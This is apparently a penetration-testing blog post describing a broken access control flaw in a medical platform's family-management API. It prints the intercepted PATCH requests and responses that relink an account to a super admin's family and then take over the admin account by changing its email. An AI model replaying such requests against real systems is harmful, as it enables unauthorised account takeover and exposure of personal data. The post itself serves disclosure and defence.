Hijacking the Family Tree: Exploiting Broken Access Control

11-01-2025
Luca Distefano

Uncovering the Shadows: A Deep Dive into Penetration Testing Vulnerabilities

Welcome to our new blog series, where we take you behind the scenes of real-world penetration testing to uncover vulnerabilities that often go unnoticed—but can have a significant impact. As cybersecurity professionals, our job is to think like hackers, identifying the cracks in systems before malicious actors do. Through this series, we’ll share the insights gained from hands-on testing, breaking down vulnerabilities in a way that's both technically detailed and easy to understand.

Our goal? To empower businesses, IT professionals, and enthusiasts with actionable knowledge that strengthens their security posture. Each post will feature a specific vulnerability or trend we’ve encountered in our work, illustrating how it was discovered, the risks it posed, and the steps needed to mitigate it. By sharing these stories, we hope to spotlight the importance of proactive security measures and demonstrate the expertise our team brings to the table.

So, whether you’re a seasoned professional or simply curious about the inner workings of cyber Security, stay tuned, there’s a lot to learn and uncover. Let’s dive into the fascinating world of penetration testing, one vulnerability at a time!

Hijacking the Family Tree: Exploiting Broken Access Control to Achieve Super Admin Privileges

In the world of cybersecurity, the smallest cracks in access control can lead to catastrophic breaches. Today, we’ll explore how a simple oversight in a "family management" feature of a web application turned into a pathway to super admin privileges—effectively granting an attacker the keys to the kingdom. We’ll walk you through the steps from family member impersonation to system-wide super admin access—a journey into what happens when access control goes unchecked.

Broken access control vulnerabilities might not always make headlines, but they remain one of the most pervasive and damaging issues in web application security. According to the Open Web Application Security Project (OWASP), Broken Access Control has ascended to the top position in their 2021 OWASP Top 10 list, highlighting its criticality in modern web applications.

In our recent assessment we was testing a well-designed web platform aimed at delivering personalized medical services to families. Each user had a dedicated profile, allowing them to manage account details, access shared services, and even add or remove family members. The "family management" feature was a key selling point, enabling seamless integration for all users under a shared parent account.

As I was exploring the web application as a standard user, I began playing with the ability to edit profile information. I noticed that this type of account had the ability to create subordinate accounts—the so-called family members. Interestingly enough, there was a checkbox labeled "Manage Family" Definitely something to note down, but at this point, it didn’t seem particularly surprising.

Luca blog1Next, I started experimenting with editing profile information. Logged in as the parent account, I submitted the request to edit one of the family members and, using BurpSuite I intercepted it. It was a PATCH request to
/api/v2/member/profile/98683/
, which indicates an API endpoint used to update information about a specific user profile in the system. The numeric value at the end is the unique identifier (ID) of the user whose profile is being edited, the child profile in this case.

Response:

HTTP/1.1 200 OK
Date: Fri, 14 Jun 2024 10:07:56 GMT
Content-Type: application/json
Content-Length: 615
Connection: close
allow: GET, PATCH, DELETE
strict-transport-security: max-age=60; includeSubDomains; preload
x-content-type-options: nosniff
referrer-policy: same-origin
cross-origin-opener-policy: same-origin
x-frame-options: DENY
vary: Origin, Accept-Language, Cookie
access-control-allow-credentials: true
content-language: en
cache-control: no-cache
set-cookie: sessionid=q12f3fx3agcdhjzwo99hnmpjn9u5zgbj; HttpOnly; Path=/; Secure

{
  "id": 98683,
  "email": "test@whitehacklabs.com",
  "mobile_phone": "312-555-1212",
  "address1": "2 First Street",
  "address2": "abcdf",
  "city": "Charlestown",
  "state": "MA",
  "zip": "02129",
  "first_name": "Test",
  "last_name": "Test",
  "primary_user": 83339, //parent account id
  "is_primary": false,
	...SNIPPED...
}

Inspecting the response revealed several fields, one of which stood out: primary_user. My curiosity was piqued. After some tests, I discovered that a null value indicated a primary account, while a numerical value linked the user to another account as a family member. The user interface offered no direct way to modify this field, but what about the backend? Could this be manipulated? Could I rewrite the family tree—and, if so, what might that unlock?

The Discovery

With all these questions swirling in my mind, I started experimenting with the primary_user value to see just how much control I could exert. My first test was straightforward: unlinking a child account from its parent account. I submitted again the PATCH request modifying the payload by setting primary_user to null and is_primary to true.

Request:

PATCH /api/v2/member/profile/98683/ HTTP/1.1
Host: app.vulnerable.com
Cookie: REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.vulnerable.com/member/family/98683/contact-details
Content-Type: application/json
Content-Length: 39
Origin: https://app.vulnerable.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"primary_user":null,"is_primary":true}

To my surprise, the server accepted the request and processed it without any validation! The result? The child account was now unlinked and promoted to a primary account.

Response:

HTTP/1.1 200 OK
Date: Fri, 14 Jun 2024 10:07:56 GMT
Content-Type: application/json
Content-Length: 615
Connection: close
allow: GET, PATCH, DELETE
strict-transport-security: max-age=60; includeSubDomains; preload
x-content-type-options: nosniff
referrer-policy: same-origin
cross-origin-opener-policy: same-origin
x-frame-options: DENY
vary: Origin, Accept-Language, Cookie
access-control-allow-credentials: true
content-language: en
cache-control: no-cache
set-cookie: sessionid=u2tk0m3axymhrqm6moxtv7qhndov5occ; HttpOnly; Path=/; Secure

{
  "id": 98683,
  "email": "test@whitehacklabs.com",
  "mobile_phone": "312-555-1212",
  "address1": "2 First Street",
  "address2": "abcdf",
  "city": "Charlestown",
  "state": "MA",
  "zip": "02129",
  "first_name": "Test",
  "last_name": "Test",
  "primary_user": null,
  "is_primary": true,
	...SNIPPED...
}
While this alone was significant, I wanted to dig deeper and understand the full extent of the vulnerability. What if I set the
primary_user
value to the ID of an unrelated user, completely outside the family structure? With this in mind, I quickly updated the
primary_user
field to match the ID of a primary account belonging to another user. This time, I chose an interesting target: the super admin account. This account had the ability to see and manage all users on the platform—a perfect test case for the potential impact.
{"is_primary":false,"primary_user":83345} //Super User ID

When I sent the modified request, my initial excitement quickly turned to disappointment. The server responded with a 401 Forbidden error, accompanied by the message, "You do not have permission to manage this member."

Response:

HTTP/1.1 403 Forbidden
Date: Wed, 14 Jun 2024 11:30:35 GMT
Content-Type: application/json
Content-Length: 62
Connection: close
allow: GET, PATCH, DELETE
strict-transport-security: max-age=60; includeSubDomains; preload
x-content-type-options: nosniff
referrer-policy: same-origin
cross-origin-opener-policy: same-origin
x-frame-options: DENY
vary: Origin, Accept-Language, Cookie
access-control-allow-credentials: true
content-language: en
cache-control: no-cache
x-wagtail-cache: skip
set-cookie: sessionid=d7y7ftxambktq6odcb3nxhznrb4p6o20; HttpOnly; Path=/; Secure

{"detail":"You do not have permission to manage this member."}

At first glance, it seemed like a dead end. But something about the error message caught my attention—it referred to managing a member. This suggested that the server might have processed the request partially, interpreting the manipulated account as a new family member of the super admin.

To confirm my suspicion, I logged into the manipulated account and navigated to the family management page. And there it was—a shocking revelation. The server had indeed processed the request, and the user was now listed as a member of the super admin's family.

Request:

GET /api/v2/member/profile/98683/

Response:

HTTP/1.1 200 OK
Date: Thu, 14 Jun 2024 11:38:29 GMT
Content-Type: application/json
Content-Length: 1717
Connection: close
server: uvicorn
expires: Thu, 13 Jun 2024 16:38:29 GMT
cache-control: max-age=0, no-cache, no-store, must-revalidate, private
allow: GET, PATCH, DELETE
strict-transport-security: max-age=60; includeSubDomains; preload
x-content-type-options: nosniff
referrer-policy: same-origin
cross-origin-opener-policy: same-origin
x-frame-options: DENY
vary: Origin, Accept-Language, Cookie
content-language: en
x-wagtail-cache: skip
set-cookie: sessionid=9qhyqh4dyiulyntok58knw216pdjia5q; HttpOnly; Path=/; Secure

{
  "id": 98683,
  "email": "test@whitehacklabs.com",
  "mobile_phone": "312-555-1212",
  "address1": "2 First Street",
  "address2": "abcdf",
  "city": "Charlestown",
  "state": "MA",
  "zip": "02129",
  "first_name": "Test",
  "last_name": "Test",
  "primary_user": 83345,
  "is_primary": false,
  "family": [
    {
      "id": 83345, //super admin ID
      "date_of_birth": "1982-01-16",
      "email": "superadmin@vulnerable.com",
     ...SNIPPED...
    }
  ]
}

As family member, I can now see all the details of the super admin user and of their family. Things quickly went from bad to worse.

Remember the checkbox labeled "Manage Family"? The impostor account inherited this permission and could now edit any family member’s details, including the super admin's email address. To prove it, I updated the super admin's email to one under my control, submitted a "forgot password" request, and reset the account password. Just like that, I had achieved full super admin access.

Request:

PATCH /api/v2/member/profile/83345/ HTTP/1.1
Host: app.vulnerable.com
Cookie: REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.vulnerable.com/member/family/98683/contact-details
Content-Type: application/json
Content-Length: 39
Origin: https://app.vulnerable.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"email": "takeover@whitehacklabs.com"}

Response:

HTTP/1.1 200 OK
Date: Fri, 14 Jun 2024 12:07:56 GMT
Content-Type: application/json
Content-Length: 615
Connection: close
allow: GET, PATCH, DELETE
strict-transport-security: max-age=60; includeSubDomains; preload
x-content-type-options: nosniff
referrer-policy: same-origin
cross-origin-opener-policy: same-origin
x-frame-options: DENY
vary: Origin, Accept-Language, Cookie
access-control-allow-credentials: true
content-language: en
cache-control: no-cache
set-cookie: sessionid=7q2e10yi8mentjfwhtedbsy7cptc3e7g; HttpOnly; Path=/; Secure

{
  "id": 83345,
  "email": "takeover@whitehacklabs.com",
  "mobile_phone": "312-555-1212",
  "address1": "2 First Street",
  "address2": "abcdf",
  "city": "Charlestown",
  "state": "MA",
  "zip": "02129",
  "first_name": "Test",
  "last_name": "Test",
  "primary_user": null,
  "is_primary": true,
	...SNIPPED...
}

Conclusion: A Small Flaw, a Catastrophic Impact

This vulnerability underscores the critical importance of proper access control mechanisms in web applications. The ability to manipulate the primary_user field not only compromised the application's integrity but also demonstrated how interconnected permissions can lead to catastrophic consequences when left unchecked.

The takeaway here is clear: robust access control validation should be implemented at every layer of an application, especially for fields that dictate user roles or relationships. It’s not enough to rely on client-side restrictions or assume users will behave as intended. Backend validation, combined with least-privilege principles, could have prevented this issue entirely.

For organizations, this serves as a reminder to prioritize regular security assessments, including penetration testing, to uncover hidden vulnerabilities before they are exploited. As demonstrated in this case, even seemingly minor flaws can have far-reaching implications.

At WhiteHack, our mission is to help businesses identify and mitigate vulnerabilities like these, ensuring their applications are secure against evolving threats. If you’re interested in learning more about how we can help protect your systems, feel free to reach out—we’d love to help you strengthen your security posture.